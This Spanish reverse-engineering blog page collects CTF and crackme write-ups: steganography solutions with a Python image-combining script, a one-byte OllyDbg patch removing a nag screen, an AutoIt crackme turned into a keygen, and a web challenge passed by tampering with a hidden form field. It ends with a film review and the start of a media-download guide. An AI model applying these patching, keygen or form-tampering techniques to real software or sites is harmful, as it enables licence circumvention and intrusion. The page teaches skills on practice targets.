Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.

Soluciones al crackme

Referencias al crackme

Links


Introducción Esta es la primera entrega de tres en las que vamos a  ver tres crackmes que todo reverser debería
st2 arcade
He de iniciar esta entrada diciendo que la segunda temporada de Stranger Things es sencillamente genial. Son 9 horas intensas
Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si
Primeras impresiones El crackme es el típico de usuario y número de serie. Si no introduces un nombre te salta

Reto Stego – Dos por Uno

El reto consiste en dos imágenes (v1.png y v2.png) que, a simple vista, parecen contener ruido aleatorio. Sin embargo, ambas forman parte de un sistema de criptografía visual en la que cada imagen contiene información parcial que no es interpretable por separado, pero que al combinarse correctamente revelan información oculta.

La trampa está en que la combinación no se hace con operaciones normales como suma, resta o multiplicación. El autor del reto espera que el jugador use una herramienta como StegSolve y pruebe distintas operaciones tipo XOR, AND o MUL hasta encontrar una transformación en la que uno de los métodos muestre algo significativo. El truco está en llegar a la conclusión de que una de las imágenes hay que invertirla antes de combinar ambas imágenes. Todo esto se puede hacer con StegSolve sin necesidad de utilizar ninguna herramienta adicional, pero voy a aprovechar para hacerlo con python y así de paso entendemos como realiza las operaciones StegSolve. En resumen, para resolver el reto basta con:

  1. Invertir (Colour Inversion XOR) una de las imágenes.
  2. Combinar ambas imágenes mediante Analyse > Combine images.
  3. Operación MUL del combinador.

La operación MUL no es una multiplicación normalizada, sino una multiplicación de enteros de 24 bits (0xRRGGBB) con overflow, algo que la mayoría de herramientas no replican correctamente.

¿Por qué aparece la solución con esa combinación

Las imágenes están preparadas para que ciertos bits de color en una imagen sean el complemento de los de la otra. Por tanto:

  • Si se muestran tal cual → parecen ruido
  • Si se combinan mediante XOR → parte de la estructura aparece, pero no se ve el resultado correcto
  • Si se combinan mediante MUL «normal» → tampoco aparece
  • Si se aplica la multiplicación bitwise exacta usada por StegSolve → se alinean las partes ocultas

La operación MUL de StegSolve no es una multiplicación de píxeles, es decir, no hace:

R = (R1 * R2) / 255

sino:

c1 = 0xRRGGBB  (pixel 1)
c2 = 0xRRGGBB  (pixel 2)
resultado = (c1 * c2) & 0xFFFFFF

Con todo esto claro, he preparado un script para combinar las imágenes de forma automática.

import os
import numpy as np
from PIL import Image

# =========================================================
# UTILIDADES
# =========================================================

def ensure_output():
    if not os.path.exists("output"):
        os.makedirs("output")

def load_rgb(path):
    img = Image.open(path).convert("RGB")
    return np.array(img, dtype=np.uint32)

def save_rgb(arr, name):
    Image.fromarray(arr.astype(np.uint8), "RGB").save(os.path.join("output", name))

def invert_xor(arr):
    """Colour Inversion (Xor) de StegSolve."""
    out = arr.copy()
    out[..., :3] = 255 - out[..., :3]
    return out

# =========================================================
# FUNCIONES DE COMBINER EXACTAS DE STEGSOLVE
# =========================================================

def to24(arr):
    """Convierte RGB → entero 0xRRGGBB."""
    return ((arr[..., 0] << 16) |
            (arr[..., 1] << 8)  |
             arr[..., 2])

def from24(c):
    """Convierte entero 0xRRGGBB → RGB."""
    R = (c >> 16) & 0xFF
    G = (c >> 8)  & 0xFF
    B = c & 0xFF
    return np.stack([R, G, B], axis=-1).astype(np.uint8)

# ------------------------------
# Funciones auxiliares
# ------------------------------

def comb_xor(c1, c2):
    return from24((c1 ^ c2) & 0xFFFFFF)

def comb_or(c1, c2):
    return from24((c1 | c2) & 0xFFFFFF)

def comb_and(c1, c2):
    return from24((c1 & c2) & 0xFFFFFF)

def comb_add(c1, c2):
    return from24((c1 + c2) & 0xFFFFFF)

def comb_add_sep(c1, c2):
    R = (((c1 >> 16) & 0xFF) + ((c2 >> 16) & 0xFF)) & 0xFF
    G = (((c1 >> 8)  & 0xFF) + ((c2 >> 8)  & 0xFF)) & 0xFF
    B = ((c1 & 0xFF) + (c2 & 0xFF)) & 0xFF
    return from24((R << 16) | (G << 8) | B)

def comb_sub(c1, c2):
    return from24((c1 - c2) & 0xFFFFFF)

def comb_sub_sep(c1, c2):
    R = (((c1 >> 16) & 0xFF) - ((c2 >> 16) & 0xFF)) & 0xFF
    G = (((c1 >> 8)  & 0xFF) - ((c2 >> 8)  & 0xFF)) & 0xFF
    B = ((c1 & 0xFF) - (c2 & 0xFF)) & 0xFF
    return from24((R << 16) | (G << 8) | B)

def comb_mul(c1, c2):
    """MUL EXACTO StegSolve"""
    return from24((c1 * c2) & 0xFFFFFF)

def comb_mul_sep(c1, c2):
    R = (((c1 >> 16) & 0xFF) * ((c2 >> 16) & 0xFF)) & 0xFF
    G = (((c1 >> 8)  & 0xFF) * ((c2 >> 8)  & 0xFF)) & 0xFF
    B = ((c1 & 0xFF) * (c2 & 0xFF)) & 0xFF
    return from24((R << 16) | (G << 8) | B)

def comb_lightest(c1, c2):
    """Máximo por canal"""
    R = np.maximum((c1 >> 16) & 0xFF, (c2 >> 16) & 0xFF)
    G = np.maximum((c1 >> 8)  & 0xFF, (c2 >> 8)  & 0xFF)
    B = np.maximum(c1 & 0xFF, c2 & 0xFF)
    return from24((R << 16) | (G << 8) | B)

def comb_darkest(c1, c2):
    """Mínimo por canal"""
    R = np.minimum((c1 >> 16) & 0xFF, (c2 >> 16) & 0xFF)
    G = np.minimum((c1 >> 8)  & 0xFF, (c2 >> 8)  & 0xFF)
    B = np.minimum(c1 & 0xFF, c2 & 0xFF)
    return from24((R << 16) | (G << 8) | B)

# Lista de transformaciones
TRANSFORMS = {
    "xor": comb_xor,
    "or": comb_or,
    "and": comb_and,
    "add": comb_add,
    "add_sep": comb_add_sep,
    "sub": comb_sub,
    "sub_sep": comb_sub_sep,
    "mul": comb_mul,
    "mul_sep": comb_mul_sep,
    "lightest": comb_lightest,
    "darkest": comb_darkest,
}

# =========================================================
# GENERACIÓN DE TODAS LAS COMBINACIONES
# =========================================================

def generate_all(imA, imB, labelA, labelB):
    print(f"Generando combinaciones: {labelA} vs {labelB}")

    c1 = to24(imA)
    c2 = to24(imB)

    for name, fun in TRANSFORMS.items():
        out = fun(c1, c2)
        save_rgb(out, f"{labelA}__{labelB}__{name}.png")

    print(f"{labelA}-{labelB} completado.")

# =========================================================
# MAIN
# =========================================================

ensure_output()

print("Cargando imágenes v1.png y v2.png...")
im1 = load_rgb("v1.png")
im2 = load_rgb("v2.png")

print("Generando invertidas estilo StegSolve...")
im1_x = invert_xor(im1)
im2_x = invert_xor(im2)

save_rgb(im1_x, "v1_xored.png")
save_rgb(im2_x, "v2_xored.png")

# Generar las 52 combinaciones:
generate_all(im1,   im2,   "v1",   "v2")
generate_all(im1_x, im2,   "v1x",  "v2")
generate_all(im1,   im2_x, "v1",   "v2x")
generate_all(im1_x, im2_x, "v1x",  "v2x")

print("\nResultados en carpeta ./output/")

A continuación os muestro parte de las imágenes generadas por el script. El secreto oculto era un código QR que nos da la solución al reto.

Stego d33p

En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.

Sin más dilación extraemos el JPG y continuamos.

La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.

Al abrir el archivo TXT como texto vemos lo siguiente:

y si lo abrimos con un editor hexadecimal vemos esto otro:

Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)» y procesé de nuevo obteniendo por fin la ansiada flag.

RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00

Cleaned bytes [quitando this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC


clave XOR == 00fc60fb

Resultado
S   H   S   {   t   0   0   _   3   4   s   y   _   m   4   n   }

TDC’s Remove the NAG – Parche

Intro

Es un crackme realizado en ensamblador y en el que el objetivo es remover la NAG de la forma más limpia posible.

Analizando a la víctima

Abrimos el crackme con Olly y ya a simple vista vemos los mensajes de la Nag y parte del código interesante. Si necesitaramos localizar la Nag podemos mirar en las intermodular calls las típicas subrutinas, en este caso se ve claramente  a MessageBoxA, bastaría con poner un breakpoint para localizar quien llama.

Aquí vemos la implicación de MessageBoxA.

004010A7     |> \6A 40                    PUSH 40                                         ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
004010A9     |.  68 61304000              PUSH Nag1.00403061                              ; |Title = "[NAG] Please register this software!"
004010AE     |.  68 86304000              PUSH Nag1.00403086                              ; |Text = "[BULLSHIT] Please register this software for support and you'll receive the full version!"
004010B3     |.  FF75 08                  PUSH [ARG.1]                                    ; |hOwner = 7FFDF000
004010B6     |.  E8 49010000              CALL <JMP.&user32.MessageBoxA>                  ; \MessageBoxA
........
00401137     |.  6A 40                    PUSH 40                                         ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
00401139     |.  68 6E324000              PUSH Nag1.0040326E                              ; |Title = "Thank you!"
0040113E     |.  68 79324000              PUSH Nag1.00403279                              ; |Text = "Thank you for registering this software!"
00401143     |.  FF75 08                  PUSH [ARG.1]                                    ; |hOwner = 7FFDF000
00401146     |.  E8 B9000000              CALL <JMP.&user32.MessageBoxA>                  ; \MessageBoxA
........
00401155     |.  6A 40                    PUSH 40                                         ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
00401157     |.  68 E0304000              PUSH Nag1.004030E0                              ; |Title = "About"
0040115C     |.  68 E6304000              PUSH Nag1.004030E6                              ; |Text = "Remove the NAG by TDC\r\n\n..: Coded by\t: TDC\t\t\t:..\t\r\n..: Also known as\t: The Dutch Cracker\t:..\t\r\n..: Protection\t: Custom\t\t\t:..\t\r\n..: Contact info\t: tdc123@gmail.com\t:..\t\r\n..: Release date\t: 09-08-2005\t\t:..\t"...
00401161     |.  FF75 08                  PUSH [ARG.1]                                    ; |hOwner = 7FFDF000
00401164     |.  E8 9B000000              CALL <JMP.&user32.MessageBoxA>                  ; \MessageBoxA

 Un poco encima vemos la función SetDlgItemTextA, que nos mostrará el mensaje de que hemos parcheado correctamente.

dlgitem

00401106     |> \68 21304000              PUSH Nag1.00403021                              ; /Text = "Dirty crack! Nag removed not registered!"
0040110B     |.  6A 73                    PUSH 73                                         ; |ControlID = 73 (115.)
0040110D     |.  FF75 08                  PUSH [ARG.1]                                    ; |hWnd = 7FFDF000
00401110     |.  E8 FB000000              CALL <JMP.&user32.SetDlgItemTextA>              ; \SetDlgItemTextA
00401115     |.  EB 36                    JMP SHORT Nag1.0040114D
00401117     |>  68 10304000              PUSH Nag1.00403010                              ; /Text = "Nag not removed!"
0040111C     |.  6A 73                    PUSH 73                                         ; |ControlID = 73 (115.)
0040111E     |.  FF75 08                  PUSH [ARG.1]                                    ; |hWnd = 7FFDF000
00401121     |.  E8 EA000000              CALL <JMP.&user32.SetDlgItemTextA>              ; \SetDlgItemTextA
00401126     |.  EB 25                    JMP SHORT Nag1.0040114D
00401128     |>  68 4A304000              PUSH Nag1.0040304A                              ; /Text = "Clean crack! Good Job!"
0040112D     |.  6A 73                    PUSH 73                                         ; |ControlID = 73 (115.)
0040112F     |.  FF75 08                  PUSH [ARG.1]                                    ; |hWnd = 7FFDF000
00401132     |.  E8 D9000000              CALL <JMP.&user32.SetDlgItemTextA>              ; \SetDlgItemTextA

Encima de SetDlgItemTextA vemos el código que analiza si la Nag tiene que aparecer.

004010E6     |.  E8 C4000000              CALL Nag1.004011AF                              ;  ; Llamada interesante a analizar
004010EB     |.  803D B0324000 03         CMP BYTE PTR DS:[4032B0],3
004010F2     |.  74 12                    JE SHORT Nag1.00401106                          ;  ; Si de la llamada volvemos con un 3 -> Parcheo chapuza
004010F4     |.  803D B0324000 02         CMP BYTE PTR DS:[4032B0],2
004010FB     |.  74 1A                    JE SHORT Nag1.00401117                          ;  ; Si de la llamada volvemos con un 2 -> Sin parchear
004010FD     |.  803D B0324000 01         CMP BYTE PTR DS:[4032B0],1
00401104     |.  74 22                    JE SHORT Nag1.00401128                          ;  ; Si de la llamada volvemos con un 1 -> Buen trabajo Joe!
........
004011AF     /$  68 A2324000              PUSH Nag1.004032A2                              ; /String2 = "Value1"
004011B4     |.  68 A9324000              PUSH Nag1.004032A9                              ; |String1 = "Value2"
004011B9     |.  E8 64000000              CALL <JMP.&kernel32.lstrcmpA>                   ; \lstrcmpA
004011BE     |.  50                       PUSH EAX                                        ;  kernel32.BaseThreadInitThunk
004011BF     |.  85C0                     TEST EAX,EAX                                    ;  kernel32.BaseThreadInitThunk
004011C1     |.  75 10                    JNZ SHORT Nag1.004011D3
004011C3     |.  33C0                     XOR EAX,EAX                                     ;  kernel32.BaseThreadInitThunk
004011C5     |.  58                       POP EAX                                         ;  kernel32.75CDEE1C
004011C6     |.  85C0                     TEST EAX,EAX                                    ;  kernel32.BaseThreadInitThunk
004011C8     |.  74 15                    JE SHORT Nag1.004011DF
004011CA     |.  C605 B0324000 03         MOV BYTE PTR DS:[4032B0],3
004011D1     |.  EB 17                    JMP SHORT Nag1.004011EA
004011D3     |>  58                       POP EAX                                         ;  kernel32.75CDEE1C
004011D4     |.  33C0                     XOR EAX,EAX                                     ;  kernel32.BaseThreadInitThunk
004011D6     |.  C605 B0324000 02         MOV BYTE PTR DS:[4032B0],2
004011DD     |.  EB 0B                    JMP SHORT Nag1.004011EA
004011DF     |>  33C0                     XOR EAX,EAX                                     ;  kernel32.BaseThreadInitThunk
004011E1     |.  C605 B0324000 01         MOV BYTE PTR DS:[4032B0],1
004011E8     |.  EB 00                    JMP SHORT Nag1.004011EA
004011EA     \>  C3                       RETN

 Vemos dentro del Call 4011AF que Compara si Value1 = Value2 y dependiendo de esa comparación guarda en memoria (4032B0), los valores 1, 2 ó 3.

Basta con modificar en un editor hexadecimal la parabra «Value2» por «Value1» y ya tenemos el problema resuelto.

09-09-2014 11-04-03

09-09-2014 11-04-34

09-09-2014 11-05-26

Al pulsar Re-Check

09-09-2014 11-06-01

Notas finales

Se podía haber parcheado un montón de código para obtener el mismo resultado pero fijándonos en el código lo hemos conseguido parcheando un solo byte. Recuerda, cuando halla que parchear, cuantos menos bytes mejor.

 Links


Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity
Introducción  Hoy vamos a ver como extraer el script de un ejecutable compilado por Autoit, modificarlo y recompilarlo como nuestro
Los retos de criptografía pueden ser muy variados como he dicho anteriormente. El secreto suele estar en saber a que

ThisIsLegal.com – Realistic Challenge 3

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

Realistic Challenge 3: Your school is employing a web designer who is charging far too much for site design and doesn’t know anything about protecting the site. However, he’s sure that there’s no way anyone can hack into any site he’s designed, prove him wrong!
 En tu escuela están haciendo una web nueva muy rápido. El creador asegura que no le pueden hackear, demuéstrale que está equivocado.

Analizando a la víctima

Echamos un vistazo y vemos en el menú cosas interesantes. La primera de ellas es un Login que pronto descartamos ya que no parece llevar a ninguna parte. La segunda sirve para mandar enlaces al administrador y que este los publique posteriormente en la web.
Vamos a trastear un poco con la opción de mandar enlaces. En el código fuente ya vemos algo interesante y es que hay un campo oculto con el valor a 1 al mandar el enlace. Probamos a mandar un enlace sin tocar nada y nos dice que lo manda pero que lo tienen que aprobar. Vamos a probar ahora cambiando el valor del parámetro oculto a 0 con Firebug.

¡Funcionó!, el enlace ha pasado el filtro.

¿Cómo podemos aprovechar esto?, pués la forma más común es «XSS cross site scripting«. Veamos una prueba. Con el parámetro oculto otra vez en 0 mandamos el siguiente enlace y reto superado.

Links

Stego d33p

En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.

Sin más dilación extraemos el JPG y continuamos.

La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.

Al abrir el archivo TXT como texto vemos lo siguiente:

y si lo abrimos con un editor hexadecimal vemos esto otro:

Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)» y procesé de nuevo obteniendo por fin la ansiada flag.

RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00

Cleaned bytes [quitando this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC


clave XOR == 00fc60fb

Resultado
S   H   S   {   t   0   0   _   3   4   s   y   _   m   4   n   }

Andy’s Keygenme Keygen (AutoIt)

Introducción

 Hoy vamos a ver como extraer el script de un ejecutable compilado por Autoit, modificarlo y recompilarlo como nuestro keygen. Como comprobareis si no se ofusca o se toman otro tipo de medidas recuperar información sensible es muy sencillo.

AutoIt es un lenguaje freeware multiproposito y de automatización para Microsoft Windows. Es un Visual Basic Killer, ya que mejora las características de los ejecutables (entre otras portabilidad, velocidad y peso, no fat-coding), y facilitan la programación con un buen repertorio de funciones «pre-diseñadas», y usando un Basic de fácil aprendizaje. Se ha expandido desde sus comienzos de automatización incluyendo muchas mejoras en el diseño del lenguaje de programación y sobre todo en nuevas funcionalidades.

El Script

Func CHECKKEY($USER, $PASS)
Local $OPKEY = "", $SIG = ""
Local $USER_LEN = StringLen($USER)
Local $PASS_LEN = StringLen($PASS)
If $USER_LEN < $PASS_LEN Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
ElseIf $USER_LEN < 4 Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
EndIf
$PASS_INT = Int($USER_LEN / $PASS_LEN)
$PASS_MOD = Mod($USER_LEN, $PASS_LEN)
$OPKEY = _STRINGREPEAT($PASS, $PASS_INT) & StringLeft($PASS, $PASS_MOD)
For $INDEX = 1 To $USER_LEN
$SIG &= Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), Asc(StringMid($OPKEY, $USER_LEN - $INDEX + 1, 1))))
Next
If $SIG = _STRINGREPEAT(Chr(32), $USER_LEN) Then
MsgBox(0, "INFO", "Your key was registered.")
Exit
Else
MsgBox(0, "INFO", "Your key is invalid.")
EndIf
EndFunc

 El Algoritmo

El algoritmo es tremendamente sencillo ya que es nuestro nombre al revés y en mayúsculas.

 Modificando el script para generar nuestro propio keygen

El decompilador se llama myAut2exe y tiene este aspecto.

01-09-2014 11-56-37

Programar en AutoIt es muy sencillo e intuitivo. Nuestro keygen quedaría así.

$MAIN = GUICreate("Another keygen by deurus", 300, 80, -1, -1, 382205952, 385)
$NAME_LBL = GUICtrlCreateLabel("Username", 5, 5, 60, 20, BitOR(4096, 1))
$NAME_INP = GUICtrlCreateInput("", 70, 5, 225, 20, 1)
$PASS_LBL = GUICtrlCreateLabel("Key", 5, 30, 60, 20, BitOR(4096, 1))
$PASS_INP = GUICtrlCreateInput("", 70, 30, 225, 20, 1)
$REGISTER = GUICtrlCreateButton("Register", 5, 55, 60, 20)
$GIVE_UP = GUICtrlCreateButton("Generate", 70, 55, 60, 20)    <- Change name of button, Give Up by Generate
$TASK = GUICtrlCreateButton("?", 140, 55, 20, 20)
$AUTHOR = GUICtrlCreateLabel("keygen by deurus", 165, 55, 130, 20, BitOR(4096, 1))
GUISetState(@SW_SHOW, $MAIN)
While True
    $MSG = GUIGetMsg()
    Switch $MSG
        Case $REGISTER
            Call("CHECKKEY", GUICtrlRead($NAME_INP), GUICtrlRead($PASS_INP))
        Case $GIVE_UP
            Call("GETKEY", GUICtrlRead($NAME_INP), GUICtrlRead($PASS_INP))    <- Add the function to the button
        Case $TASK
            MsgBox(0, "Info", "keygen by deurus")
        Case - 3
            Exit
    EndSwitch
    Sleep(15)
WEnd

Func GETKEY($USER, $PASS)        <- this is our keygen function
    Local $OPKEY = "", $SIG = ""
    Local $USER_LEN = StringLen($USER)
    Local $PASS_LEN = StringLen($USER)
    If $USER_LEN < 4 Then
        GUICtrlSetData($PASS_INP  ,"min 4 chars");
    Else
    For $INDEX = 1 To $USER_LEN
        $SIG = Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), 32)) & $SIG
    Next
        GUICtrlSetData($PASS_INP  ,$SIG);
    EndIf
EndFunc

Func CHECKKEY($USER, $PASS)        <- check function, the original
    Local $OPKEY = "", $SIG = ""
    Local $USER_LEN = StringLen($USER)
    Local $PASS_LEN = StringLen($PASS)
    If $USER_LEN < $PASS_LEN Then
        MsgBox(0, "ERROR", "Invalid username or key.")
    ElseIf $USER_LEN < 4 Then
        MsgBox(0, "ERROR", "Invalid username or key.")
        Exit
    EndIf
    $PASS_INT = Int($USER_LEN / $PASS_LEN)
    $PASS_MOD = Mod($USER_LEN, $PASS_LEN)
    $OPKEY = _STRINGREPEAT($PASS, $PASS_INT) & StringLeft($PASS, $PASS_MOD)
    For $INDEX = 1 To $USER_LEN
        $SIG &= Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), Asc(StringMid($OPKEY, $USER_LEN - $INDEX + 1, 1))))
    Next
    If $SIG = _STRINGREPEAT(Chr(32), $USER_LEN) Then
        MsgBox(0, "INFO", "Your key was registered.")
    Else
        MsgBox(0, "INFO", "Your key is invalid.")
    EndIf
EndFunc

Este es el resultado.

01-09-2014 12-18-28

Links


Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si
http://youtu.be/c4CNY902SAE Versión de texto Lista de reproducción
http://youtu.be/KR3PgtDMjmg Lista de reproducción
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en

Blooper Tech Movie II – Hackers

En esta ocasión vamos a hablar de una película de culto de los años 90, Hackers – Piratas Informáticos. La verdad es que aunque puede ser entretenida, tecnológicamente es una pesadilla y es que esta película es un claro ejemplo de cuando Hollywood prefiere agradar visualmente a representar escenas realistas.

Tras cuatro minutos en los que se nos presenta a Dade (Jonny Lee Miller) y sus problemas con la ley a una temprana edad, saltamos unos años después hasta ver a Dade encerrado en su habitación volviendo a las andadas intentando acceder ilegítimamente a los servidores de una cadena de televisión. Para ello hace uso de algo muy conocido en el mundillo Hacker, la Ingeniería Social, y es que aunque ahora disponemos de «cierta» conciencia en seguridad informática, en los años 90 no había ninguna. Bien, el caso es que Dade llama a las oficinas de la citada cadena de televisión a una hora en la que no hay más que el vigilante de seguridad y éste le proporciona un número que debemos suponer que es la IP de un Módem y comienza la intrusión.

BTM

Para empezar, se le ve al protagonista escribir comandos cuando en la pantalla no hay más que una animación en algo parecido a una ventana de terminal al estilo «Commander», pero no vemos lo que escribe, algo irreal.

vlcsnap-2015-11-25-18h00m25s936

A continuación y como por arte de magia entra en el sistema y lo que se muestra es una animación parpadeante con el logo de la compañia y el nombre del sistema al que estamos accediendo, también irreal.

vlcsnap-2015-11-25-12h43m18s762

Finalmente nos muestra sus intenciones, y son nada más y nada menos que cambiar la programación actual simplemente cambiando de VHS, inmejorable. A continuación os muestro la secuencia.

Por lo menos nos queda el consuelo de que cambia la tertulia de un tipejo con ciertos prejuicios raciales por una programación más interesante como «The Outer limits«, aquí conocida como «Más allá del límite«.

El resto de escenas informáticas de la película carecen de veracidad, la única que se salva, puede ser cuando accede al servidor del Instituto para programar el sistema contra incendios y vengarse de Kate (Angelina Jolie), ya que las imágenes que aparecen son de los primeros entornos gráficos de Mac.

vlcsnap-2015-11-25-18h29m08s043

vlcsnap-2015-11-25-18h29m15s390

vlcsnap-2015-11-25-18h29m31s550

Es extraño que casi todas las intrusiones las realiza desde su propia casa, algo poco inteligente, ya que por muy bueno que seas, siempre dejas huellas. Solo cuando se enfrentan a un Super-Hacker se empiezan a tomar las cosas en serio y realizan los ataques desde cabinas telefónicas.

En la película También hacen mención al Phreaking y a algunos de los libros que eran famosos por aquella época pero poco más que destacar. Por todo esto y mucho más, y aunque me caen igual de bien tanto Angelina como Jonny, la película se merece un majestuoso sello de BTM.

hackers_sello

Enlaces


Hoy en día, la descarga de contenido multimedia de ciertas webs es imposible o muy difícil. En ciertos casos lo
https://www.youtube.com/watch?v=iOYAn4l4wco Lista de reproducción
Introducción A quien va dirigido Comprobaciones previas Lo que necesitamos Presupuesto Ejemplo de instalación Preguntas frecuentes Glosario Notas finales Introducción
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en

Descargar contenido multimedia de ciertas webs

Hoy en día, la descarga de contenido multimedia de ciertas webs es imposible o muy difícil. En ciertos casos lo entiendo, exponer el contenido supone una pérdida de ingresos y eso es inaceptable. Las cadenas de TV son tema aparte, emiten contenido por varios medios y les gusta que lo veas y que lo compartas, eso sí, que lo compartas desde su plataforma, ya que lo que estás compartiendo es un enlace, no el vídeo.

Este caso es un caso intermedio entre una plataforma de pago que codifica sus contenidos y una web que nos permita descargar su contenido directamente.

Imaginemos que vemos un vídeo y queremos mandarlo por Whatsapp a nuestros amigos. Lo primero es echar un vistazo al código fuente de la web y localizar el código del reproductor web (player). Para esta tarea podemos ayudarnos de una extensión muy conocida para navegadores como es Firebug. Una vez instalada, la activamos con F12 y mediante el botón Inspect localizamos el player.

...    
<p itemprop="keywords" itemscope="itemscope" itemtype="http://schema.org/Text" class="antetitulo" lang="es">EL INTERMEDIO LE PILLA EN "EL TRONO"</p>
    <h1 class="title-new" itemprop="headline">Joaquín Reyes se mete en la piel de Juan Carlos I: "Soy tan campechano que podéis llamarme Juan Carlos Palote"</h1>
    <sumary class="entradilla" itemprop="description">
<p><p class="MsoNormal">Los reyes eméritos han celebrado sus bodas de esmeralda y
con motivo de tan señalada fecha, Juan Carlos I ha hecho un hueco en su
apretada agenda para concederle unos minutos a <a title="<b>El Intermedio</b>" href="http://www.lasexta.com/temas/el_intermedio-1" target="_blank"><b>El Intermedio</b></a>. Eso sí, en su
versión de <a title="<b>Joaquín Reyes</b>" href="http://www.lasexta.com/temas/joaquin_reyes-1" target="_blank"><b>Joaquín Reyes</b></a>.  <o:p></o:p></p>	</sumary>

	<div class="great-element-multimedia">
	    <section class="modVideo a3mod_player" data-mod="a3mod_player" data-model="/json/video/7/2017/05/15/591a08c1986b2810b31577c1.json">
	        <a itemprop="url" href="#" class="icon link-content" title="" data-mod-elem="icon">
	            <div class="wrap-img" role="banner">
	                <div itemprop="video" itemscope itemtype="http://schema.org/VideoObject">
	                    <picture>
	                        <!--[if IE 9]><video style="display: none;"><![endif]-->
	                        <source media="(max-width:520px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/64.jpg" />
	                        <source media="(max-width:1023px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/60.jpg" />
	                        <source media="(min-width:1024px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/58.jpg" />
	                        <!--[if IE 9]></video><![endif]-->
